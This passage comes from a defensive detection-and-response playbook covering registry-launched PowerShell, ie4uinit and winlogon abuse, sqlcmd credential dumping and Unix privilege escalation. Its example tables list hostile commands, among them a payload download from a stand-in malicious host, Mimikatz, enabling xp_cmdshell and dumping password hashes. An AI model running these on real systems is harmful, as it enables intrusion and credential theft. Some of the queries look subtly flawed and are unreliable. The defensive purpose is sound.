Part 7

🚨 PowerShell Invocation from Registry

🔍 1. Attack Breakdown

📝 What is PowerShell Invocation from Registry?

PowerShell Invocation from Registry is a technique where malicious payloads or commands are stored in Windows Registry keys and then executed using PowerShell.
Attackers use this technique for:
- Persistence: Execute malicious commands on system startup or user login.
- Defense Evasion: Hide commands in registry keys instead of traditional scripts.
- Stealth: Avoid dropping visible files on disk.

📑 Why Do Attackers Use the Registry for PowerShell Invocation?

Stealth: Registry-based execution is less visible than file-based attacks.
Persistence: Payloads can be triggered at startup or specific events.
Evasion: Commands stored in registry are harder for traditional antivirus to detect.
Flexibility: Can execute any arbitrary PowerShell code.

📌 Common Attack Scenarios

Technique

Registry Path

Example Payload

Startup Persistence

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

powershell.exe -c "Invoke-WebRequest -Uri http://malicious.com/payload.ps1"

Scheduled Task Registry Key

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks

powershell.exe -EncodedCommand <base64>

AutoRun Key Abuse

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run

powershell.exe -Command Start-Process notepad.exe

Obfuscated Payload in Registry

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System

powershell.exe -c "IEX (Get-Content 'reg_path')"

Shell Handlers

HKCU\Software\Classes\mscfile\shell\open\command

powershell.exe -c Invoke-Mimikatz

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Search Common Startup Keys for PowerShell Commands

Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' | Select-Object *
Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run' | Select-Object *

🕵️ Search Registry for PowerShell Commands Globally

reg query HKCU /s /f "powershell"
reg query HKLM /s /f "powershell"

🕵️ Inspect Scheduled Tasks in Registry

Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks' | 
ForEach-Object { Get-ItemProperty -Path $_.PsPath }

🕵️ Look for Base64-Encoded PowerShell Commands

reg query HKCU /s /f "powershell.exe -EncodedCommand"

🕵️ Monitor Registry Key Changes

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=12} |
Where-Object { $_.Message -like "*powershell*" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect PowerShell Invocation via Registry Keys

DeviceRegistryEvents
| where RegistryKey contains "CurrentVersion\\Run" or RegistryKey contains "TaskCache"
| where RegistryValueData contains "powershell.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, AccountName

🕵️ Identify Base64-Encoded PowerShell Commands in Registry

DeviceRegistryEvents
| where RegistryValueData contains "-EncodedCommand"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

🕵️ Trace PowerShell Executions Triggered from Registry Keys

DeviceProcessEvents
| where ProcessCommandLine contains "powershell.exe"
| where InitiatingProcessFileName == "reg.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Detect Suspicious Registry Paths Executing PowerShell

DeviceRegistryEvents
| where RegistryKey contains "Run" or RegistryKey contains "TaskCache"
| where RegistryValueData contains "IEX"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (powershell.exe).

4663

Object access attempt detected on a registry key.

4104

PowerShell script block logging (useful for obfuscated payloads).

12 (Sysmon)

Registry key or value was created.

13 (Sysmon)

Registry key or value was modified.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: powershell.exe -c "IEX (Get-ItemProperty 'HKCU:\\malicious_key')"

📌 Focus on Event ID 4663:

Registry access attempts:

RegistryKey: HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

🕵️ 3. Investigation Techniques

1️⃣ Inspect Specific Registry Keys

Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'

2️⃣ Trace PowerShell Commands via Sysmon Logs

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=12}

3️⃣ Analyze Process Tree

Trace parent-child relationships:

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

🔧 4. Remediation Steps

📌 1. Remove Malicious Registry Keys

Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'SuspiciousKey'

📌 2. Disable Registry Editing for Non-Admin Users

Apply Group Policy to prevent unauthorized changes.

📌 3. Monitor Registry Changes Continuously

Enable Registry auditing and monitor changes.

📌 4. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Enable Registry Auditing:
- Monitor HKCU:\Run and HKLM:\Run keys.
Block Obfuscated PowerShell Commands:
- Use Windows Defender Exploit Guard (ASR Rules).
Restrict Registry Access:
- Limit modification permissions for sensitive keys.
Enable Command Line Logging:
- Track PowerShell invocation via Event ID 4688.
Educate Users:
- Avoid executing unknown scripts or registry changes.

🧠 6. Key Takeaways

Focus on Registry Keys: Run, TaskCache, Explorer\StartupApproved.
Monitor Event IDs: 4688, 4663, 12 (Sysmon), 13 (Sysmon).
Look for Obfuscated Payloads: -EncodedCommand, IEX.

🚨 Unusual ie4uinit Process Path

🔍 1. Attack Breakdown

📝 What is `ie4uinit.exe`?

ie4uinit.exe is a legitimate Windows system file located in:
- C:\Windows\System32\ie4uinit.exe
- C:\Windows\SysWOW64\ie4uinit.exe
It is used for Internet Explorer user profile initialization and to handle user-specific configurations for the browser.

📑 Why Do Attackers Abuse `ie4uinit.exe`?

Trusted Binary: It is signed by Microsoft, making it less suspicious.
Execution Proxy: Can be used to execute malicious payloads indirectly.
Persistence: Often abused in startup tasks or registry keys for persistence.
Evasion: May bypass traditional antivirus and security solutions.

📌 Common Attack Scenarios

Technique

Description

Example Command

Process Path Spoofing

Run ie4uinit.exe from an unusual location.

C:\Temp\ie4uinit.exe

Execution Proxy

Use ie4uinit.exe to execute a malicious DLL.

C:\Windows\Temp\ie4uinit.exe payload.dll

Startup Persistence

Create a startup entry invoking ie4uinit.exe.

reg add HKCU\...\Run /v ie4uinit /t REG_SZ /d "C:\Temp\ie4uinit.exe"

Fileless Execution

Use ie4uinit.exe in-memory execution.

C:\Windows\System32\ie4uinit.exe /k powershell -c <payload>

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ List All ie4uinit.exe Processes

Get-Process -Name ie4uinit | Select-Object Id, Path, StartTime

🕵️ Validate ie4uinit.exe Paths

Get-Command ie4uinit.exe | Select-Object Name, Source

🕵️ Check ie4uinit.exe in Unusual Directories

Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public", "C:\ProgramData" -Filter "ie4uinit.exe" -Recurse

🕵️ Inspect ie4uinit.exe Registry Keys

Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' |
Where-Object { $_ -match "ie4uinit" }

🕵️ Trace Parent-Child Relationships

Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "ie4uinit.exe" } |
Select-Object ProcessId, ParentProcessId, CommandLine

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect ie4uinit.exe Executed from Suspicious Paths

DeviceProcessEvents
| where FileName == "ie4uinit.exe"
| where FolderPath !startswith "C:\\Windows\\System32" and FolderPath !startswith "C:\\Windows\\SysWOW64"
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Identify Suspicious Parent Processes for ie4uinit.exe

DeviceProcessEvents
| where FileName == "ie4uinit.exe"
| where ParentProcessFileName !in ("explorer.exe", "cmd.exe")
| project Timestamp, DeviceName, ParentProcessFileName, ProcessCommandLine, AccountName

🕵️ Trace Registry-Based Persistence with ie4uinit.exe

DeviceRegistryEvents
| where RegistryKey contains "CurrentVersion\\Run"
| where RegistryValueData contains "ie4uinit.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

🕵️ Monitor File Creation of ie4uinit.exe in Suspicious Directories

DeviceFileEvents
| where FileName == "ie4uinit.exe"
| where FolderPath contains "Temp" or FolderPath contains "Public"
| project Timestamp, DeviceName, FolderPath, FileName, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (ie4uinit.exe).

4663

Object access attempt (e.g., file access).

4104

PowerShell script block execution.

7045

A new service was installed.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: C:\Users\Public\ie4uinit.exe
ParentProcessName: cmd.exe

📌 Focus on Event ID 4663:

Registry access:

RegistryKey: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

🕵️ 3. Investigation Techniques

1️⃣ Trace Unusual Process Paths

Get-Process -Name "ie4uinit" | Select-Object Path

2️⃣ Analyze Parent Process

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }

3️⃣ Check Registry for Persistence

reg query HKCU /s /f "ie4uinit.exe"
reg query HKLM /s /f "ie4uinit.exe"

🔧 4. Remediation Steps

📌 1. Terminate Malicious Process

Stop-Process -Name "ie4uinit" -Force

📌 2. Remove Malicious Files

Remove-Item -Path "C:\Users\Public\ie4uinit.exe" -Force

📌 3. Delete Malicious Registry Keys

Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ie4uinit"

📌 4. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Monitor System32 and SysWOW64 Integrity:
- Ensure ie4uinit.exe exists only in legitimate paths.
Enable Command Line Auditing:
- Track process creation with ie4uinit.exe.
Restrict Write Access to Sensitive Directories:
- Prevent unauthorized writes to C:\Windows, C:\Users\Public.
Registry Auditing:
- Enable alerts for modifications to Run keys.
User Awareness:
- Educate users on avoiding suspicious downloads or execution prompts.

🧠 6. Key Takeaways

Monitor Process Paths: Validate ie4uinit.exe paths regularly.
Event IDs to Watch: 4688, 4663, 7045.
Check Parent Processes: Look for unusual relationships.

🚨 Exploit Guard Network Protection Blocked Event:

🔍 1. Attack Breakdown

📝 What is Exploit Guard Network Protection?

Exploit Guard Network Protection is a feature in Microsoft Defender for Endpoint (MDE) and Windows Defender Exploit Guard (WDEG).
It prevents network-based attacks by blocking connections to malicious domains, IPs, or URLs.
The feature uses threat intelligence feeds and real-time analysis to detect and block malicious connections.

📑 Why is Network Protection Blocked?

The system detected a malicious network connection attempt from a process or service.
Common reasons include:
- Accessing a known malicious domain.
- Malware attempting Command and Control (C2) communication.
- Phishing attempts via malicious URLs.
- Data exfiltration via suspicious outbound traffic.

📌 Common Attack Scenarios

Scenario

Description

Example Indicator

Malware C2 Communication

Malware attempting to connect to a command server.

http://attacker.com/c2

Phishing Website

User accessed a phishing link via browser.

http://phishing-site.com

Data Exfiltration

Sensitive data sent to an external server.

http://malicious-upload.com

Malicious Script Execution

Script triggers outbound traffic to malicious IP.

powershell -c "Invoke-WebRequest http://malicious.com/payload"

Drive-by Download Attack

Website delivers malicious files during browsing.

http://exploit-landing.com

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Check Defender Network Protection Events in Event Viewer

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} | Select-Object TimeCreated, Message

🕵️ Inspect Blocked Network Connections

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} |
ForEach-Object { $_.Message }

🕵️ List Processes Triggering Network Protection Events

Get-Process | Where-Object { $_.Id -in (Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} | Select-Object -ExpandProperty ProcessId) }

🕵️ Inspect Recent Malicious Domains and URLs Blocked

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'; Id=1125} |
Where-Object { $_.Message -match "Domain|IP|URL" }

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Exploit Guard Network Protection Blocked Events

DeviceEvents
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, RemoteIP, RemoteUrl, ActionType

🕵️ Identify Processes Triggering Network Blocks

DeviceProcessEvents
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Trace Malicious URLs or IPs Triggering Network Protection

DeviceNetworkEvents
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, AccountName

🕵️ Monitor Repeated Block Events from the Same ProceDeviceEvents

| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| summarize Count=count() by InitiatingProcessFileName, RemoteUrl, RemoteIP, DeviceName
| order by Count desc

🕵️ Correlate with Web Browsing Activity

DeviceFileEvents
| where InitiatingProcessFileName == "browser.exe"
| where ActionType == "ExploitGuardNetworkProtectionBlocked"
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, AccountName

📊 Event Viewer Logs

Event ID

Description

1125

Windows Defender Exploit Guard Network Protection event.

5156

Network connection allowed (trace subsequent connections).

4688

Process creation (trace responsible process).

📌 Focus on Event ID 1125:

Look for:

Action: Blocked
RemoteIP: 45.67.89.123
RemoteUrl: http://malicious.com/payload
InitiatingProcess: powershell.exe

🕵️ 3. Investigation Techniques

1️⃣ Trace Process Responsible for Blocked Activity

Get-Process -Id <ProcessId>

2️⃣ Inspect Command Line Arguments

Review the command used:

Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -eq <PID> }

3️⃣ Analyze Remote URLs and IPs

Verify reputation of the URLs and IPs on:

🔧 4. Remediation Steps

📌 1. Terminate Malicious Processes

Stop-Process -Id <ProcessId> -Force

📌 2. Block Malicious IPs or Domains

New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block

📌 3. Remove Malicious Scheduled Tasks or Startup Entries

Get-ScheduledTask | Where-Object { $_.TaskPath -like "*malicious*" } | Unregister-ScheduledTask -Confirm:$false

📌 4. Review User Activity

Check logs for any unusual behavior tied to the user.

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Enable Exploit Guard Network Protection:
- Ensure it's set to Block Mode in policy.
Regularly Audit Policies:
- Verify that malicious sites and IPs are actively blocked.
Monitor High-Risk Users:
- Flag repeat offenders for suspicious activity.
Update Security Tools Regularly:
- Ensure definitions and threat intelligence feeds are up-to-date.
Educate Users:
- Warn against clicking on suspicious links or downloading unknown files.

🧠 6. Key Takeaways

Focus on Event IDs: 1125, 4688, 5156.
Trace Processes Triggering Blocks: Look for repeat offenders.
Correlate with Network Activity: Validate blocked domains and IPs.
Investigate URLs on Threat Intelligence Platforms: Verify malicious indicators.

🚨 Privilege Elevation (Linux & macOS):

🔍 1. Attack Breakdown

📝 What is Privilege Elevation?

Privilege Elevation occurs when an attacker gains higher privileges (e.g., root or admin access) on a system through vulnerabilities, misconfigurations, or design flaws.
This is often used for:
- Full System Control: Gain unrestricted access to files and processes.
- Persistence: Maintain access across system reboots.
- Lateral Movement: Access other systems using elevated privileges.
- Data Exfiltration: Bypass access controls.

📑 Why Attackers Seek Privilege Elevation?

Expand Control: Access sensitive files and services.
Bypass Security Controls: Disable security mechanisms.
Establish Persistence: Create backdoors or scheduled tasks.
Credential Dumping: Extract credentials for further compromise.
Cover Tracks: Modify logs and hide malicious activity.

📌 Common Privilege Elevation Techniques

Technique

Linux Example

macOS Example

Sudo Misconfigurations

sudo -l → sudo bash

sudo -l → sudo nano /etc/sudoers

Kernel Exploits

CVE-2021-4034 (Polkit)

CVE-2019-8526

Setuid Binaries

find / -perm -4000

find / -perm +4000

Weak File Permissions

chmod 777 /etc/shadow

chmod 777 /etc/passwd

Exploiting Services

systemctl edit service

launchctl load -w /Library/LaunchDaemons

Environment Variable Abuse

LD_PRELOAD

DYLD_INSERT_LIBRARIES

Credential Dumping

/etc/shadow

security find-generic-password

🛡️ 2. Detection Techniques

📊 Linux Detection Techniques

🕵️ Check for Sudo Misconfigurations

sudo -l

🕵️ Identify Setuid Binaries

find / -perm -4000 2>/dev/null

🕵️ Check for Writable System Binaries

find /bin /sbin -perm -2 -type f

🕵️ Monitor Sudo Logins

Check /var/log/auth.log or /var/log/secure:

grep 'sudo:' /var/log/auth.log

🕵️ Identify Suspicious Kernel Modules

lsmod
dmesg | grep "exploit"

🕵️ Look for Suspicious Cron Jobs

crontab -l
ls -al /etc/cron*

📊 macOS Detection Techniques

🕵️ Check for Sudo Misconfigurations

sudo -l

🕵️ List Setuid and Setgid Binaries

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

🕵️ Inspect Launch Daemons and Agents

ls /Library/LaunchDaemons
ls ~/Library/LaunchAgents

🕵️ Check for Cron Jobs

crontab -l
ls -al /etc/cron*

🕵️ Identify Writable Configuration Files

find /System/Library -perm -2 -type f

🕵️ Look for Suspicious Kernel Extensions (kext)

kextstat | grep -v com.apple

📊 SIEM Detection Queries

📊 Linux SIEM Query (ELK, Splunk)

🕵️ Detect Sudo Privilege Escalation

index=linux source=/var/log/auth.log
| search "sudo:root"
| stats count by user, command

🕵️ Monitor Exploitation Attempts

index=linux source=/var/log/messages OR /var/log/syslog
| search "exploit"
| stats count by host, message

🕵️ Identify Abnormal Cron Job Modifications

index=linux source=/etc/cron*
| stats count by user, command

🕵️ Track Writable Binary Directories

index=linux
| search "chmod 777"
| stats count by user, path

📊 macOS SIEM Query (Splunk, ELK)

🕵️ Detect LaunchDaemon Manipulation

index=macos source=/var/log/system.log
| search "launchctl load"
| stats count by user, command

🕵️ Monitor Sudo Commands

index=macos source=/var/log/system.log
| search "sudo:"
| stats count by user, command

🕵️ Identify Suspicious Kernel Module Loading

index=macos source=/var/log/system.log
| search "kextstat"
| stats count by user, command

🕵️ Monitor DYLD_INSERT_LIBRARIES Abuse

index=macos source=/var/log/system.log
| search "DYLD_INSERT_LIBRARIES"
| stats count by user, command

🛡️ 3. Investigation Techniques

1️⃣ Trace Privilege Escalation Attempts

grep "sudo" /var/log/auth.log
grep "root" /var/log/secure

2️⃣ Analyze Exploit Attempts

dmesg | grep -i exploit
journalctl -k | grep -i exploit

3️⃣ Review New Cron Jobs

ls -al /etc/cron*

🔧 4. Remediation Steps

📌 1. Remove Malicious Cron Jobs

crontab -r
rm -f /etc/cron.d/malicious

📌 2. Revert Permissions

chmod 644 /etc/passwd
chmod 600 /etc/shadow

📌 3. Disable Suspicious LaunchAgents

launchctl unload ~/Library/LaunchAgents/malicious.plist

📌 4. Revoke Sudo Permissions for Compromised Accounts

usermod -L compromised_user

📌 5. Perform Full Antivirus Scan

clamscan -r / --bell -i

🛡️ 5. Prevention Steps

Enable SELinux (Linux): Enforce security contexts.
Enable SIP (macOS): Protect system directories.
Limit Sudo Access: Use least privilege principles.
Monitor Logs: Regularly review auth logs.
Disable Unused Services: Stop unnecessary daemons and agents.

🧠 6. Key Takeaways

Privilege Escalation is Critical: Early detection is key.
Focus on Key Logs: /var/log/auth.log, /var/log/secure, system.log.
SIEM Queries: Use KQL, Splunk, or FQL for real-time monitoring.
Enable Integrity Checks: Ensure permissions on sensitive files are secure.

🚨 Credential Dumping Using `sqlcmd.exe`

🔍 1. Attack Breakdown

📝 What is `sqlcmd.exe`?

sqlcmd.exe is a command-line utility provided by Microsoft SQL Server.
It allows users to connect to SQL Server databases, execute T-SQL commands, and query data.

📑 Why Do Attackers Abuse `sqlcmd.exe`?

Trusted Binary: Signed by Microsoft and often allowed by security controls.
Credential Access: Extract stored database credentials.
Lateral Movement: Use database credentials to pivot across systems.
Data Exfiltration: Export sensitive data.
Persistence: Store payloads in SQL Server jobs or procedures.

📌 Common Attack Scenarios

Technique

Description

Example Command

Extract Database Credentials

Access SQL Server credentials from memory.

sqlcmd -Q "SELECT * FROM sys.sql_logins"

Retrieve Hashes from SQL Tables

Dump hashed credentials.

sqlcmd -Q "SELECT name, password_hash FROM sys.sql_logins"

Run Malicious Queries

Execute malicious SQL commands.

sqlcmd -Q "EXEC xp_cmdshell 'whoami'"

Enable xp_cmdshell for System Access

Enable external command execution.

sqlcmd -Q "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"

Persist via SQL Agent Jobs

Create malicious SQL Server jobs.

sqlcmd -Q "EXEC msdb.dbo.sp_add_job @job_name='MaliciousJob', @enabled=1;"

🛡️ 2. Detection Techniques

📊 Manual Inspection with SQLCMD

🕵️ Check Active SQLCMD Sessions

SELECT * FROM sys.dm_exec_sessions WHERE program_name LIKE '%SQLCMD%';

🕵️ Identify Suspicious Commands Executed via SQLCMD

SELECT sql_text FROM sys.dm_exec_requests CROSS APPLY sys.dm_exec_sql_text(sql_handle) WHERE session_id > 50;

🕵️ Monitor SQL Server Agent Jobs

SELECT * FROM msdb.dbo.sysjobs;

🕵️ Look for xp_cmdshell Execution

SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

🕵️ Check for Suspicious Logins

SELECT name, create_date, is_disabled FROM sys.sql_logins;

📊 Manual Inspection with PowerShell

🕵️ Identify Suspicious SQLCMD Processes

Get-Process -Name sqlcmd | Select-Object Id, ProcessName, Path, StartTime

🕵️ Inspect SQLCMD Command-Line History

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*sqlcmd*" }

🕵️ Check SQLCMD Network Connections

Get-NetTCPConnection -OwningProcess (Get-Process -Name sqlcmd).Id

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect SQLCMD Process Execution

DeviceProcessEvents
| where FileName == "sqlcmd.exe"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Identify SQLCMD with Suspicious Command-Line Arguments

DeviceProcessEvents
| where FileName == "sqlcmd.exe"
| where ProcessCommandLine contains "xp_cmdshell" or ProcessCommandLine contains "password_hash"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

🕵️ Trace SQLCMD Network Activity

DeviceNetworkEvents
| where InitiatingProcessFileName == "sqlcmd.exe"
| project Timestamp, DeviceName, RemoteIP, RemotePort, ProcessCommandLine, AccountName

🕵️ Monitor SQLCMD Accessing Sensitive Tables

DeviceFileEvents
| where InitiatingProcessFileName == "sqlcmd.exe"
| where FileName contains "sys.sql_logins"
| project Timestamp, DeviceName, FileName, AccountName

🕵️ Detect SQLCMD Persistence Mechanisms

DeviceProcessEvents
| where FileName == "sqlcmd.exe"
| where ProcessCommandLine contains "sp_add_job"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName

📊 Event Viewer Logs

Event ID

Description

4688

New process created (sqlcmd.exe).

4624

Account logon (look for database access).

4768

Kerberos Authentication Ticket requested.

4104

PowerShell script block logging.

5156

Network connection allowed.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: sqlcmd -Q "SELECT * FROM sys.sql_logins"

📌 Focus on Event ID 4624:

Look for suspicious logins via SQLCMD.

🕵️ 3. Investigation Techniques

1️⃣ Review SQL Server Error Logs

EXEC xp_readerrorlog;

2️⃣ Trace SQLCMD Commands from System Logs

Review authentication attempts:

SELECT * FROM sys.dm_exec_connections;

3️⃣ Inspect SQLCMD Parent-Child Processes

Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <SQLCMD_PID> }

🔧 4. Remediation Steps

📌 1. Disable xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

📌 2. Revoke Unnecessary Database Permissions

REVOKE CONNECT FROM [malicious_user];

📌 3. Terminate Malicious SQLCMD Processes

Stop-Process -Name sqlcmd -Force

📌 4. Remove Malicious SQL Jobs

EXEC msdb.dbo.sp_delete_job @job_name='MaliciousJob';

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Restrict xp_cmdshell: Disable unless absolutely necessary.
Implement Role-Based Access Control (RBAC): Minimize privileged accounts.
Enable SQL Server Audit Logs: Track administrative activities.
Network Segmentation: Limit SQL Server access.
Monitor SQLCMD Processes: Create alerts for unusual commands.

🧠 6. Key Takeaways

Focus on Event IDs: 4688, 4624, 4768.
Monitor SQLCMD Commands: Look for xp_cmdshell and sensitive queries.
Limit Privileges: Ensure sqlcmd cannot execute arbitrary system commands.

🚨 Suspicious Connection by Winlogon.exe

🔍 1. Attack Breakdown

📝 What is `Winlogon.exe`?

Winlogon.exe is a core Windows process responsible for handling user login, desktop initialization, and user session management.
It’s located in:
- C:\Windows\System32\winlogon.exe
It should never establish outbound network connections under normal circumstances.

📑 Why Do Attackers Abuse `Winlogon.exe`?

Trusted Binary: Signed by Microsoft and rarely monitored.
Stealth: Blends in with legitimate processes.
Evasion: Evades traditional antivirus and security tools.
Persistence: Can be abused for long-term persistence.
Data Exfiltration: Used to hide outbound communication.

📌 Common Attack Scenarios

Technique

Description

Example Indicator

Code Injection into Winlogon

Malicious code injected into Winlogon.

rundll32.exe inject.dll

Winlogon Network Communication

Unauthorized outbound connections from Winlogon.

winlogon.exe connects to 192.168.1.100

Persistence via Registry

Backdoors set in Winlogon registry keys.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

Credential Theft

Exfiltration of cached credentials.

winlogon.exe dumps LSASS process

Proxy for Malware C2 Traffic

Winlogon used to proxy C2 connections.

winlogon.exe connects to malicious.com

🛡️ 2. Detection Techniques

📊 Manual Inspection with PowerShell

🕵️ Verify Winlogon Process Path

Get-Process -Name winlogon | Select-Object Id, Path

✅ Expected Path: C:\Windows\System32\winlogon.exe
❌ Suspicious Path: C:\Users\Public\winlogon.exe, C:\Temp\winlogon.exe

🕵️ Check Network Connections by Winlogon

Get-Process -Name winlogon | ForEach-Object {
    Get-NetTCPConnection -OwningProcess $_.Id
}

Look for Outbound Connections to:
- Unfamiliar IPs.
- Non-standard ports (e.g., 4444, 8080).

🕵️ Inspect Parent-Child Relationship

Get-CimInstance Win32_Process | Where-Object { $_.Name -eq "winlogon.exe" } | Select-Object ProcessId, ParentProcessId, CommandLine

✅ Expected Parent Process: services.exe
❌ Unexpected Parent Process: cmd.exe, powershell.exe

🕵️ Inspect Winlogon Registry Keys

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Focus on:
- Userinit (should point to userinit.exe)
- Shell (should point to explorer.exe)

📊 Microsoft Defender for Endpoint (MDE) Query (KQL)

🕵️ Detect Winlogon Outbound Network Connections

DeviceNetworkEvents
| where InitiatingProcessFileName == "winlogon.exe"
| where RemoteIP != "127.0.0.1" and RemoteIP != "::1"
| project Timestamp, DeviceName, RemoteIP, RemotePort, ProcessCommandLine, AccountName

🕵️ Monitor Suspicious Winlogon Registry Changes

DeviceRegistryEvents
| where RegistryKey contains "Winlogon"
| where RegistryValueName in ("Userinit", "Shell")
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName

🕵️ Trace Process Tree Involving Winlogon

DeviceProcessEvents
| where FileName == "winlogon.exe"
| where ParentProcessName != "services.exe"
| project Timestamp, DeviceName, ProcessCommandLine, ParentProcessName, AccountName

🕵️ Identify Code Injection into Winlogon

DeviceProcessEvents
| where FileName == "winlogon.exe"
| where ProcessCommandLine contains "CreateRemoteThread"
| project Timestamp, DeviceName, ProcessCommandLine, AccountNam

📊 Event Viewer Logs

Event ID

Description

4688

A new process was created (winlogon.exe).

5156

Network connection allowed.

4663

Registry key access detected.

7045

A new service was installed.

📌 Focus on Event ID 4688:

Look for:

ProcessCommandLine: winlogon.exe -c "powershell.exe -EncodedCommand"
ParentProcessName: cmd.exe

📌 Focus on Event ID 4663:

Registry key modification:

RegistryKey: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

🕵️ 3. Investigation Techniques

1️⃣ Validate Winlogon Binary Integrity

Get-FileHash "C:\Windows\System32\winlogon.exe" -Algorithm SHA256

Compare hash on VirusTotal.

2️⃣ Inspect Winlogon Startup Configurations

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

3️⃣ Trace Winlogon’s Network Traffic

netstat -ano | findstr <Winlogon_PID>

🔧 4. Remediation Steps

📌 1. Terminate Suspicious Winlogon Processes

Stop-Process -Id <PID> -Force

📌 2. Restore Registry Keys

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "userinit.exe"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "explorer.exe"

📌 3. Remove Suspicious Executables

Remove-Item -Path "C:\Users\Public\winlogon.exe" -Force

📌 4. Block Malicious IPs

New-NetFirewallRule -DisplayName "Block Malicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block

📌 5. Perform Full Antivirus Scan

Start-MpScan -ScanType FullScan

🛡️ 5. Prevention Steps

Enable Command Line Auditing: Track Winlogon execution.
Monitor Registry Changes: Enable alerts for Winlogon keys.
Restrict Registry Permissions: Prevent unauthorized modifications.
Review Firewall Rules: Block unnecessary outbound connections.
Enable Behavioral Analytics: Use EDR to monitor anomalies.

🧠 6. Key Takeaways

Winlogon.exe Should Not Make Network Connections: Flag outbound traffic.
Monitor Registry Keys: Validate Userinit and Shell.
Focus on Event IDs: 4688, 4663, 5156.
Investigate Parent-Child Process Trees: Ensure legitimate parent processes.

🚨 Image File Execution Options (IFEO) Injection: Advanced Threat Analysis

🔍 1. Attack Breakdown

📝 What is IFEO (Image File Execution Options)?

Image File Execution Options (IFEO) is a Windows Registry key designed for debugging applications.
Attackers exploit IFEO to:
- Hijack legitimate applications.
